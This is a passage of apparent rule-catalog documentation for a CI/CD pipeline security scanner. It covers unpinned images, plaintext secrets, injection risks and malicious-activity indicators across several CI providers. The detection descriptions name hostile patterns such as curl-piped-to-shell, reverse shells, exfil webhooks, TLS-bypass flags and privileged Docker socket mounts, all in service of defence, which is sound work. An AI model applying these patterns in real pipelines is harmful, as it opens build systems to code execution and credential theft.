How this is detected. Flags like --privileged, --cap-add, --net=host, or host-root volume mounts (-v /:/) in a pipeline give the container full access to the build agent, enabling container escape and lateral movement.

Recommendation. Remove --privileged and --cap-add flags. Use minimal volume mounts. Prefer rootless containers.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: ADO-017 in the Azure DevOps provider.

ADO-018: Package install from insecure source HIGH 🔧 fix

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Detects package-manager invocations that use plain HTTP registries (--index-url http://, --registry=http://) or disable TLS verification (--trusted-host, --no-verify) in a pipeline. These patterns allow man-in-the-middle injection of malicious packages.

Recommendation. Use HTTPS registry URLs. Remove --trusted-host and --no-verify flags. Pin to a private registry with TLS.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: ADO-018 in the Azure DevOps provider.

ADO-019: extends: template on PR-validated pipeline points to local path CRITICAL

Evidences: 4.4.5 App vulnerabilities, untrusted code paths reached at runtime.

How this is detected. extends: template: <local-file> includes another YAML from the CURRENT repo. On PR validation builds, the repo content is the PR branch, letting the PR author swap the template body and inject arbitrary pipeline logic. Cross-repo templates (template: foo.yml@my-repo) are version-pinned and not affected.

Recommendation. Pin the extends template to a protected repository ref (template@ref). Local templates in PR-validated pipelines can be poisoned by the PR author.

Source: ADO-019 in the Azure DevOps provider.

ADO-020: No vulnerability scanning step MEDIUM

Evidences: 4.1.1 Image vulnerabilities, unpatched CVEs baked into images.

How this is detected. Without a vulnerability scanning step, known-vulnerable dependencies ship to production undetected. The check recognises trivy, grype, snyk, npm audit, yarn audit, safety check, pip-audit, osv-scanner, and govulncheck.

Recommendation. Add a vulnerability scanning step, trivy, grype, snyk test, npm audit, pip-audit, or osv-scanner. Publish results so vulnerabilities surface before deployment.

Source: ADO-020 in the Azure DevOps provider.

ADO-021: Package install without lockfile enforcement MEDIUM 🔧 fix

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Detects package-manager install commands that do not enforce a lockfile or hash verification. Without lockfile enforcement the resolver pulls whatever version is currently latest, exactly the window a supply-chain attacker exploits.

Recommendation. Use lockfile-enforcing install commands: npm ci instead of npm install, pip install --require-hashes -r requirements.txt, yarn install --frozen-lockfile, bundle install --frozen, and go install tool@v1.2.3.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: ADO-021 in the Azure DevOps provider.

ADO-023: TLS / certificate verification bypass HIGH 🔧 fix

Evidences: 4.2.1 Insecure connections to registries (no TLS / cert validation bypassed).

How this is detected. Detects patterns that disable TLS certificate verification: git config http.sslVerify false, NODE_TLS_REJECT_UNAUTHORIZED=0, npm config set strict-ssl false, curl -k, wget --no-check-certificate, PYTHONHTTPSVERIFY=0, and GOINSECURE=. Disabling TLS verification allows MITM injection of malicious packages, repositories, or build tools.

Recommendation. Remove TLS verification bypasses. Fix certificate issues at the source (install CA certificates, configure proper trust stores) instead of disabling verification.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: ADO-023 in the Azure DevOps provider.

ADO-025: Cross-repo template not pinned to commit SHA HIGH

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Azure Pipelines resolves template: build.yml@tools against the tools repo resource's ref: field. When that ref is refs/heads/main (or missing, which defaults to the pipeline's default branch), a push to the callee repo changes what your pipeline runs on the next invocation.

Recommendation. On every resources.repositories entry referenced from a template: ...@repo-alias directive, set ref: refs/tags/<sha> or the bare 40-char commit SHA, never a branch or floating tag. A moved branch/tag swaps the template body without changing your pipeline file.

Source: ADO-025 in the Azure DevOps provider.

ADO-026: Pipeline contains indicators of malicious activity CRITICAL

Evidences: 4.1.3 Embedded malware in images.

How this is detected. ADO pipelines can run arbitrary shell via bash / script / powershell tasks. This rule scans every string value for known-bad patterns (reverse shells, base64-decoded execution, miner binaries, exfil channels). Orthogonal to ADO-016/ADO-017/ADO-023.

Recommendation. Treat as a potential compromise. Identify the PR/branch that added the matching task(s), rotate any Service Connections the pipeline can reach, and audit Pipeline run logs for outbound traffic to the matched hosts.

Known false positives.

  • Security-training repositories, CTF challenges, and red-team exercise pipelines legitimately contain reverse-shell strings or exfil domains as literals. Matches inside YAML keys / HCL attributes whose names contain example, fixture, sample, demo, or test are auto-suppressed; bare lines in a production pipeline still fire.
  • Defaults to LOW confidence. Filter with --min-confidence MEDIUM to ignore all matches; the rule still surfaces the hit for teams that want to spot-check.

Source: ADO-026 in the Azure DevOps provider.

ADO-027: Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH

Evidences: 4.1.3 Embedded malware in images.

How this is detected. Complements ADO-002 (script injection from untrusted PR context). Fires on intrinsically risky shell idioms, eval, sh -c "$X", backtick exec, regardless of whether the input source is currently trusted.

Recommendation. Replace eval "$VAR" / sh -c "$VAR" / backtick exec with direct command invocation. Validate any value that must feed a dynamic command at the boundary.

Known false positives.

  • eval "$(ssh-agent -s)" and similar eval "$(<literal-tool>)" bootstrap idioms are intentionally NOT flagged, the substituted command is literal, only its output is eval'd.

Source: ADO-027 in the Azure DevOps provider.

ADO-028: Package install bypasses registry integrity (git / path / tarball source) MEDIUM

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Complements ADO-021 (missing lockfile flag). Git URL installs without a commit pin, local-path installs, and direct tarball URLs bypass the registry integrity controls the lockfile relies on.

Recommendation. Pin git dependencies to a commit SHA. Publish private packages to an internal registry (Azure Artifacts) instead of installing from a filesystem path or tarball URL.

Source: ADO-028 in the Azure DevOps provider.

ARGO-001: Argo template container image not pinned to a digest HIGH

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Walks spec.templates[].container, spec.templates[].script, and spec.templates[].containerSet.containers[]. The image must contain @sha256: followed by a 64-char hex digest.

Recommendation. Pin every container / script template image to a content-addressable digest (alpine@sha256:<digest>). Tag-only references (alpine:3.18) and rolling tags (alpine:latest) let a compromised registry update redirect the workflow's containers at the next pull, with no audit trail in the WorkflowTemplate.

Source: ARGO-001 in the Argo Workflows provider.

ARGO-002: Argo template container runs privileged or as root HIGH

Evidences: 4.1.2 Image configuration defects, privileged flags, insecure runtime settings, 4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing.

How this is detected. Detection fires on securityContext.privileged: true, runAsUser: 0, runAsNonRoot: false, allowPrivilegeEscalation: true, or no securityContext block at all. Also walks spec.podSpecPatch (raw YAML) for an explicit privileged: true token.

Recommendation. Set securityContext.privileged: false, runAsNonRoot: true, and allowPrivilegeEscalation: false on every template container / script. A privileged container shares the node's kernel namespaces; a malicious image then has root on the build node and breaks the boundary between workflow and cluster.

Source: ARGO-002 in the Argo Workflows provider.

ARGO-004: Argo workflow mounts hostPath or shares host namespaces CRITICAL

Evidences: 4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing.

How this is detected. Walks spec.volumes[].hostPath and the raw spec.podSpecPatch string for hostNetwork, hostPID, hostIPC, and hostPath.

Recommendation. Use emptyDir or PVC-backed volumes instead of hostPath. Drop hostNetwork: true / hostPID: true / hostIPC: true from any inline podSpecPatch. A hostPath mount of /var/run/docker.sock or / lets the workflow break out of the pod and act as the underlying node.

Source: ARGO-004 in the Argo Workflows provider.

ARGO-006: Literal secret value in Argo template env or parameter default CRITICAL 🔧 fix

Evidences: 4.1.4 Embedded clear-text secrets in images.

How this is detected. Strong matches: AWS access keys, GitHub PATs, JWTs. Weak match: env var name suggests a secret (*_TOKEN, *_KEY, *PASSWORD, *SECRET) and the value is a non-empty literal rather than an interpolation.

Recommendation. Mount secrets via env.valueFrom.secretKeyRef (or a volumes: Secret mount) instead of writing the value into env.value or arguments.parameters[].value. Workflow manifests are committed to git and cluster-readable; literal values leak through normal access paths.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: ARGO-006 in the Argo Workflows provider.

ARGO-013: Argo workflow does not opt out of SA token automount MEDIUM

Evidences: 4.1.2 Image configuration defects, privileged flags, insecure runtime settings.

How this is detected. Companion to ARGO-003 (default ServiceAccount). The default SA only matters when its token is mounted; an explicit automountServiceAccountToken: false removes the token from the pod regardless of which SA the pod is bound to. Detection: workflow passes when the spec sets it to false AND every template either inherits that or sets its own automountServiceAccountToken: false. A template with it explicitly true (or unset against an unset spec-level value) is the failing shape.

Recommendation. Set spec.automountServiceAccountToken: false on the Workflow / WorkflowTemplate, or per-template (templates[].automountServiceAccountToken: false) on any template that doesn't need to talk to the Kubernetes API. An explicit false keeps a compromised step from using the workflow's SA token to escalate inside the cluster, even when the SA itself is hardened (ARGO-003), a token automounted into every pod widens the leak surface.

Known false positives.

  • Templates that genuinely need to call the Kubernetes API (GitOps pull, kubectl apply from inside the workflow). Set automountServiceAccountToken: true on that template specifically and bind it to a least-privilege SA, the rule then fires only on the broad spec-level absence, which is the actual gap.

Source: ARGO-013 in the Argo Workflows provider.

BB-001: pipe: action not pinned to exact version HIGH 🔧 fix

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Bitbucket pipes are docker-image references. Major-only (:1) or missing tags let Atlassian/the publisher swap the image contents. Full semver or sha256 digest is required.

Recommendation. Pin every pipe: to a full semver tag (e.g. atlassian/aws-s3-deploy:1.4.0) or to an immutable SHA. Floating majors like :1 can roll to new code silently.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: BB-001 in the Bitbucket provider.

BB-002: Script injection via attacker-controllable context HIGH

Evidences: 4.1.3 Embedded malware in images.

How this is detected. $BITBUCKET_BRANCH, $BITBUCKET_TAG, and $BITBUCKET_PR_* are populated from SCM event metadata the attacker controls. Interpolating them unquoted into a shell command lets a crafted branch or tag name can execute inline.

Recommendation. Always double-quote interpolations of ref-derived variables ("$BITBUCKET_BRANCH"). Avoid passing them to eval, sh -c, or unquoted command arguments.

Source: BB-002 in the Bitbucket provider.

BB-003: Variables contain literal secret values CRITICAL

Evidences: 4.1.4 Embedded clear-text secrets in images.

How this is detected. Scans definitions.variables and each step's variables: for entries whose KEY looks credential-shaped and whose VALUE is a literal string. AWS access keys are detected by value shape regardless of key name.

Recommendation. Store credentials as Repository / Deployment Variables in Bitbucket's Pipelines settings with the 'Secured' flag, and reference them by name. Prefer short-lived OIDC tokens for cloud access.

Source: BB-003 in the Bitbucket provider.

BB-008: Credential-shaped literal in pipeline body CRITICAL 🔧 fix

Evidences: 4.1.4 Embedded clear-text secrets in images.

How this is detected. Complements BB-003 (variable-name scan). BB-008 checks every string in the pipeline against the cross-provider credential-pattern catalog, catches secrets pasted into script bodies or environment blocks.

Recommendation. Rotate the exposed credential. Move the value to a Secured Repository or Deployment Variable and reference it by name.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Test fixtures and documentation blobs sometimes embed credential-shaped strings (JWT samples, AKIAI... examples). The AWS canonical example AKIAIOSFODNN7EXAMPLE is deliberately NOT suppressed, if it appears in a real pipeline it almost always means a copy-paste from docs was never substituted. Defaults to LOW confidence.

Source: BB-008 in the Bitbucket provider.

BB-009: pipe: pinned by version rather than sha256 digest LOW

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. BB-001 fails floating tags at HIGH; BB-009 is the stricter tier. Even immutable-looking semver tags can be repointed by the registry; sha256 digests are tamper-evident.

Recommendation. Resolve each pipe to its digest (docker buildx imagetools inspect bitbucketpipelines/<name>:<ver>) and reference it via @sha256:<digest>.

Source: BB-009 in the Bitbucket provider.

BB-010: Deploy step ingests pull-request artifact unverified CRITICAL

Evidences: 4.4.5 App vulnerabilities, untrusted code paths reached at runtime.

How this is detected. Bitbucket steps declare artifacts on the producer and downstream steps implicitly receive them. When an unprivileged step produces an artifact and a later deployment: step consumes it without verification, attacker-controlled output flows into the privileged stage.

Recommendation. Add a verification step before the deploy step consumes the artifact: sha256sum -c artifact.sha256 against a manifest the producer signed, or cosign verify over the artifact directly. Alternatively, restrict the artifact-producing step to non-PR pipelines via branches: or custom: triggers.

Source: BB-010 in the Bitbucket provider.

BB-011: AWS auth uses long-lived access keys MEDIUM 🔧 fix

Evidences: 4.1.4 Embedded clear-text secrets in images.

How this is detected. Long-lived AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY values embedded in the pipeline file can't be rotated on a fine-grained schedule. Prefer OIDC or Bitbucket secured variables for cross-cloud access.

Recommendation. Use Bitbucket OIDC with oidc: true on the AWS pipe, or store credentials as secured Bitbucket variables rather than inline values. Remove static AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY from the pipeline file.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: BB-011 in the Bitbucket provider.

BB-012: Remote script piped to shell interpreter HIGH 🔧 fix

Evidences: 4.1.3 Embedded malware in images.

How this is detected. Detects curl | bash, wget | sh, and similar patterns that pipe remote content directly into a shell interpreter inside a pipeline. An attacker who controls the remote endpoint (or poisons DNS / CDN) gains arbitrary code execution in the build runner.

Recommendation. Download the script to a file, verify its checksum, then execute it. Or vendor the script into the repository.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Established vendor installers (get.docker.com, sh.rustup.rs, bun.sh/install, awscli.amazonaws.com, cli.github.com, ...) ship via HTTPS from their own CDN and are idiomatic. This rule defaults to LOW confidence so CI gates can ignore them with --min-confidence MEDIUM; the finding still surfaces so teams that want cryptographic verification can audit.

Source: BB-012 in the Bitbucket provider.

BB-013: Docker run with insecure flags (privileged/host mount) CRITICAL 🔧 fix

Evidences: 4.1.2 Image configuration defects, privileged flags, insecure runtime settings, 4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing.

How this is detected. Flags like --privileged, --cap-add, --net=host, or host-root volume mounts (-v /:/) in a pipeline give the container full access to the build runner, enabling container escape and lateral movement.

Recommendation. Remove --privileged and --cap-add flags. Use minimal volume mounts. Prefer rootless containers.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: BB-013 in the Bitbucket provider.

BB-014: Package install from insecure source HIGH 🔧 fix

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Detects package-manager invocations that use plain HTTP registries (--index-url http://, --registry=http://) or disable TLS verification (--trusted-host, --no-verify) in a pipeline. These patterns allow man-in-the-middle injection of malicious packages.

Recommendation. Use HTTPS registry URLs. Remove --trusted-host and --no-verify flags. Pin to a private registry with TLS.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: BB-014 in the Bitbucket provider.

BB-015: No vulnerability scanning step MEDIUM

Evidences: 4.1.1 Image vulnerabilities, unpatched CVEs baked into images.

How this is detected. Without a vulnerability scanning step, known-vulnerable dependencies ship to production undetected. The check recognises trivy, grype, snyk, npm audit, yarn audit, safety check, pip-audit, osv-scanner, and govulncheck.

Recommendation. Add a vulnerability scanning step, trivy, grype, snyk test, npm audit, pip-audit, or osv-scanner. Publish results so vulnerabilities surface before deployment.

Source: BB-015 in the Bitbucket provider.

BB-016: Self-hosted runner without ephemeral marker MEDIUM

Evidences: 4.4.3 Unbounded network access from containers, egress not restricted.

How this is detected. Self-hosted runners that persist between jobs leak filesystem and process state. A PR-triggered step writes to a well-known path; a subsequent deploy step on the same runner reads it. Detects runs-on: self.hosted without an ephemeral marker or Docker image override.

Recommendation. Use Docker-based self-hosted runners or configure runners to tear down between jobs. Add 'ephemeral' to runs-on labels or use Bitbucket's runner images that are rebuilt per-job.

Source: BB-016 in the Bitbucket provider.

BB-018: Cache key derives from attacker-controllable input MEDIUM

Evidences: 4.4.6 Rogue containers, unvetted images executed inside pipeline.

How this is detected. Bitbucket caches are restored by key. When the key includes a value the attacker controls (branch name, tag, PR ID), a pull-request pipeline can plant a poisoned cache entry that a subsequent default-branch build restores.

Recommendation. Build the cache key from values the attacker cannot control. Prefer hashFiles() on lockfiles enforced by branch protection. Never include $BITBUCKET_BRANCH or PR-related variables in the cache key.

Source: BB-018 in the Bitbucket provider.

BB-019: after-script references secrets HIGH

Evidences: 4.1.4 Embedded clear-text secrets in images.

How this is detected. Bitbucket's after-script runs unconditionally after the main script block (including on failure). If the after-script references secrets or tokens, those values may leak into build logs or artifacts even when the step fails unexpectedly. This check detects secret-like variable references in after-script blocks.

Recommendation. Move secret-dependent operations into the main script: block. after-script runs even when the step fails and executes in a separate shell context, credential exposure here is harder to audit and more likely to persist in logs.

Source: BB-019 in the Bitbucket provider.

BB-021: Package install without lockfile enforcement MEDIUM 🔧 fix

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Detects package-manager install commands that do not enforce a lockfile or hash verification. Without lockfile enforcement the resolver pulls whatever version is currently latest, exactly the window a supply-chain attacker exploits.

Recommendation. Use lockfile-enforcing install commands: npm ci instead of npm install, pip install --require-hashes -r requirements.txt, yarn install --frozen-lockfile, bundle install --frozen, and go install tool@v1.2.3.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: BB-021 in the Bitbucket provider.

BB-023: TLS / certificate verification bypass HIGH 🔧 fix

Evidences: 4.2.1 Insecure connections to registries (no TLS / cert validation bypassed).

How this is detected. Detects patterns that disable TLS certificate verification: git config http.sslVerify false, NODE_TLS_REJECT_UNAUTHORIZED=0, npm config set strict-ssl false, curl -k, wget --no-check-certificate, PYTHONHTTPSVERIFY=0, and GOINSECURE=. Disabling TLS verification allows MITM injection of malicious packages, repositories, or build tools.

Recommendation. Remove TLS verification bypasses. Fix certificate issues at the source (install CA certificates, configure proper trust stores) instead of disabling verification.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: BB-023 in the Bitbucket provider.

BB-025: Pipeline contains indicators of malicious activity CRITICAL

Evidences: 4.1.3 Embedded malware in images.

How this is detected. Specific indicators only (reverse shells, base64-decoded execution, miner binaries, Discord/Telegram webhooks, credential-dump pipes, audit-erasure commands). Does not replace BB-014 (TLS bypass) or BB-013 (Docker insecure), those are hygiene; this is evidence.

Recommendation. Treat as a potential compromise. Identify the PR that added the matching step(s), rotate any credentials referenced from the pipeline's variable groups, and audit recent builds.

Known false positives.

  • Security-training repositories, CTF challenges, and red-team exercise pipelines legitimately contain reverse-shell strings or exfil domains as literals. Matches inside YAML keys / HCL attributes whose names contain example, fixture, sample, demo, or test are auto-suppressed; bare lines in a production pipeline still fire.
  • Defaults to LOW confidence. Filter with --min-confidence MEDIUM to ignore all matches; the rule still surfaces the hit for teams that want to spot-check.

Source: BB-025 in the Bitbucket provider.

BB-026: Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH

Evidences: 4.1.3 Embedded malware in images.

How this is detected. Complements BB-002 (script injection from untrusted PR context). This rule fires on intrinsically risky idioms, eval, sh -c "$X", backtick exec, regardless of whether the input source is currently trusted.

Recommendation. Replace eval "$VAR" / sh -c "$VAR" / backtick exec with direct command invocation. Validate or allow-list any value that must feed a dynamic command at the boundary.

Known false positives.

  • eval "$(ssh-agent -s)" and similar eval "$(<literal-tool>)" bootstrap idioms are intentionally NOT flagged, the substituted command is literal, only its output is eval'd.

Source: BB-026 in the Bitbucket provider.

BB-027: Package install bypasses registry integrity (git / path / tarball source) MEDIUM

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Complements BB-021 (missing lockfile flag). Git URL installs without a commit pin, local-path installs, and direct tarball URLs bypass the registry integrity controls the lockfile relies on.

Recommendation. Pin git dependencies to a commit SHA. Publish private packages to an internal registry instead of installing from a filesystem path or tarball URL.

Source: BB-027 in the Bitbucket provider.

BK-001: Buildkite plugin not pinned to an exact version HIGH

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance, 4.4.6 Rogue containers, unvetted images executed inside pipeline.

How this is detected. Buildkite resolves plugin refs at agent boot. foo#v1.2.3 locks the version; foo#main / foo does not. Detection fires on bare names, branch keywords, and partial-semver pins (v4, v4.13).

Recommendation. Pin every plugin reference to an exact tag (docker-compose#v4.13.0) or a 40-char commit SHA. Bare references (docker-compose), branch refs (#main / #master), and major-only floats (#v4) resolve to whatever is current at agent start time, which lets a compromised plugin release execute inside the pipeline.

Source: BK-001 in the Buildkite provider.

BK-002: Literal secret value in pipeline env block CRITICAL 🔧 fix

Evidences: 4.1.4 Embedded clear-text secrets in images.

How this is detected. Detection fires on values that look like AWS access keys, GitHub PATs, OpenAI keys, JWTs, or generic high-entropy tokens, plus on env-var names that imply a secret (*_TOKEN, *_KEY, *PASSWORD, *SECRET) when the value is a non-empty literal rather than an interpolation ($SECRET_FROM_AGENT_HOOK).

Recommendation. Move the value out of the pipeline file. Use Buildkite's agent secrets hooks (secrets/ directory or BUILDKITE_PLUGIN_AWS_SSM_*), the aws-ssm / vault-secrets plugins, or the BUILDKITE_PIPELINE_DEFAULT_BRANCH env var pulled from a secret manager. The pipeline.yml is committed to the repo and visible to anyone with read access.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: BK-002 in the Buildkite provider.

BK-003: Untrusted Buildkite variable interpolated in command HIGH

Evidences: 4.4.5 App vulnerabilities, untrusted code paths reached at runtime.

How this is detected. Buildkite passes branch / tag / message metadata as environment variables. Putting them inside $(...) or shelling out with the value unquoted is a classic command-injection vector. The detection fires on the unquoted interpolation form and on use inside eval / $(...).

Recommendation. Don't interpolate $BUILDKITE_BRANCH, $BUILDKITE_TAG, $BUILDKITE_MESSAGE, $BUILDKITE_PULL_REQUEST_*, or $BUILDKITE_BUILD_AUTHOR* directly into shell commands. These come from the pull request / branch and are attacker-controllable. Quote them and assign to a local variable first (branch="$BUILDKITE_BRANCH"; ./script --branch "$branch"), or pass them as arguments to a script you own.

Source: BK-003 in the Buildkite provider.

BK-004: Remote script piped into shell interpreter HIGH 🔧 fix

Evidences: 4.2.1 Insecure connections to registries (no TLS / cert validation bypassed), 4.4.6 Rogue containers, unvetted images executed inside pipeline.

How this is detected. The detection fires on curl|bash, curl|sh, wget|bash, iex (iwr ...), and the corresponding Invoke-WebRequest|Invoke-Expression PowerShell forms. Use curl -fsSLO <url>; sha256sum -c install.sh.sha256; bash install.sh instead.

Recommendation. Download the installer to disk, verify a checksum or signature, then execute it. curl ... | sh lets the remote host change what runs in your pipeline at any time, and any TLS / DNS error during download silently feeds a partial script to the shell.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: BK-004 in the Buildkite provider.

BK-005: Container started with --privileged or host-bind escalation HIGH 🔧 fix

Evidences: 4.1.2 Image configuration defects, privileged flags, insecure runtime settings, 4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing.

How this is detected. Detection fires on --privileged, --cap-add=SYS_ADMIN, --pid=host / --ipc=host / --userns=host, and explicit mounts of the host Docker socket (/var/run/docker.sock).

Recommendation. Drop --privileged, --cap-add=SYS_ADMIN, --pid=host, and -v /var/run/docker.sock from container invocations. If the workload needs Docker-in-Docker, use a build-specific rootless option (buildx, kaniko, buildah --isolation=chroot) instead of opening the host kernel and the agent's Docker socket to the build script.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: BK-005 in the Buildkite provider.

BK-008: TLS verification disabled in step command MEDIUM 🔧 fix

Evidences: 4.2.1 Insecure connections to registries (no TLS / cert validation bypassed).

How this is detected. Detection fires on the canonical bypass flags across curl, wget, git, npm, pip, gcloud, and openssl. The check is deliberately conservative, partial-word matches (--insecure-protocols) are excluded.

Recommendation. Drop curl -k / --insecure, wget --no-check-certificate, git -c http.sslVerify=false, and pip install --trusted-host. If a CA isn't trusted, install it into the agent's trust store (update-ca-certificates) rather than disabling validation pipeline-wide. A compromised intermediate that strips TLS gets a free hand with every fetch the step performs.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: BK-008 in the Buildkite provider.

BK-012: No vulnerability scanning step MEDIUM

Evidences: 4.1.1 Image vulnerabilities, unpatched CVEs baked into images.

How this is detected. Vulnerability scanning sits at a different layer from signing and SBOM. It answers does this artifact ship a known CVE? rather than can we verify what it is?. Detection uses the shared vuln-scan-token catalog: trivy, grype, snyk, npm-audit, pip-audit, anchore, dependency-check, checkov, semgrep.

Recommendation. Add a vulnerability scanner, trivy fs . for source / filesystem, trivy image <ref> for container images, grype and snyk for either. Add npm audit / pip-audit for language-specific dep audits. Fail the step on findings above a chosen severity so a regression blocks the merge instead of shipping.

Source: BK-012 in the Buildkite provider.

CA-002: CodeArtifact repository has a public external connection HIGH

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. An external connection to public:npmjs / public:pypi / public:nuget / public:maven-central fetches packages from the public registry on first resolution. A typo-squat (request vs requests) or a compromised upstream lands in the cache the first time anyone names it; every subsequent build pulls the cached substitute. The pull-through cache with an allow-list is the same risk shape solved by an explicit allowlist.

Recommendation. Route public package consumption through a pull-through cache repository governed by an allow-list of package names, and point build-time repos at that cache rather than directly at public:npmjs/public:pypi. Unscoped public upstreams expose builds to dependency-confusion and typosquatting attacks.

Source: CA-002 in the AWS provider.

CA-004: CodeArtifact repo policy grants codeartifact: with Resource '' HIGH

Evidences: 4.2.3 Insufficient authentication and authorization restrictions on registries.

How this is detected. codeartifact:* on Resource: '*' collapses the entire repository's authority into one grant: the holder can read, write, delete, dispose, and re-publish every package. Even for a service principal that nominally only consumes packages, the grant lets a compromise of that consumer rewrite every dependency the team relies on.

Recommendation. Scope Allow statements to specific codeartifact: actions (e.g. codeartifact:ReadFromRepository) and to specific package-group ARNs. Wildcard action + wildcard resource is the classic over-broad grant that lets a consumer also publish.

Source: CA-004 in the AWS provider.

CB-001: Secrets in plaintext environment variables CRITICAL

Evidences: 4.1.4 Embedded clear-text secrets in images.

How this is detected. Flags a plaintext env var when either (a) its name matches a secret-like pattern (PASSWORD, TOKEN, API_KEY, ...) or (b) its value matches a known credential shape (AKIA/ASIA access keys, GitHub tokens, Slack xox* tokens, JWTs). Plaintext values are visible in the AWS console, CloudTrail, and build logs to anyone with read access.

Recommendation. Move secrets to AWS Secrets Manager or SSM Parameter Store and reference them using type SECRETS_MANAGER or PARAMETER_STORE in the CodeBuild environment variable configuration.

Source: CB-001 in the AWS provider.

CB-002: Privileged mode enabled HIGH

Evidences: 4.1.2 Image configuration defects, privileged flags, insecure runtime settings, 4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing.

How this is detected. Privileged mode grants the build container root access to the host's Docker daemon. A compromised build can escape the container or tamper with the host. Only flip this on for real Docker-in-Docker workloads and keep the buildspec under branch-protected review.

Recommendation. Disable privileged mode unless the project explicitly requires Docker-in-Docker builds. If required, ensure the buildspec is tightly controlled, peer-reviewed, and sourced from a trusted repository with branch protection.

Source: CB-002 in the AWS provider.

CB-005: Outdated managed build image MEDIUM

Evidences: 4.1.1 Image vulnerabilities, unpatched CVEs baked into images, 4.2.2 Stale images in registries, drift and unpatched images.

How this is detected. Only AWS-managed aws/codebuild/standard:N.0 images are version-checked. Custom or third-party images pass here, CB-009 handles the separate concern of tag vs digest pinning for custom images.

Recommendation. Update the CodeBuild environment image to aws/codebuild/standard:7.0 or later to ensure the build environment receives the latest security patches.

Known false positives.

  • One version behind the current aws/codebuild/standard is a hygiene warning, not a production issue, and defaults to MEDIUM confidence. The rule emits HIGH only when the project is two or more versions behind. Custom or third-party images are not version-checked here; CB-009 handles tag-vs-digest pinning for those.

Source: CB-005 in the AWS provider.

CB-009: CodeBuild image not pinned by digest MEDIUM

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. CodeBuild pulls the environment image on every build. A tag pointer can be moved by whoever controls the registry; a digest cannot. AWS-managed aws/codebuild/... images are exempt. Those are covered by CB-005 and are not part of the tag-mutation threat model.

Recommendation. Pin custom CodeBuild images by @sha256:<digest>. Tag-based references (:latest, :1.2.3) can be silently overwritten to point at a malicious layer that is pulled on the next build.

Source: CB-009 in the AWS provider.

CB-010: CodeBuild webhook allows fork-PR builds without actor filtering HIGH

Evidences: 4.4.5 App vulnerabilities, untrusted code paths reached at runtime.

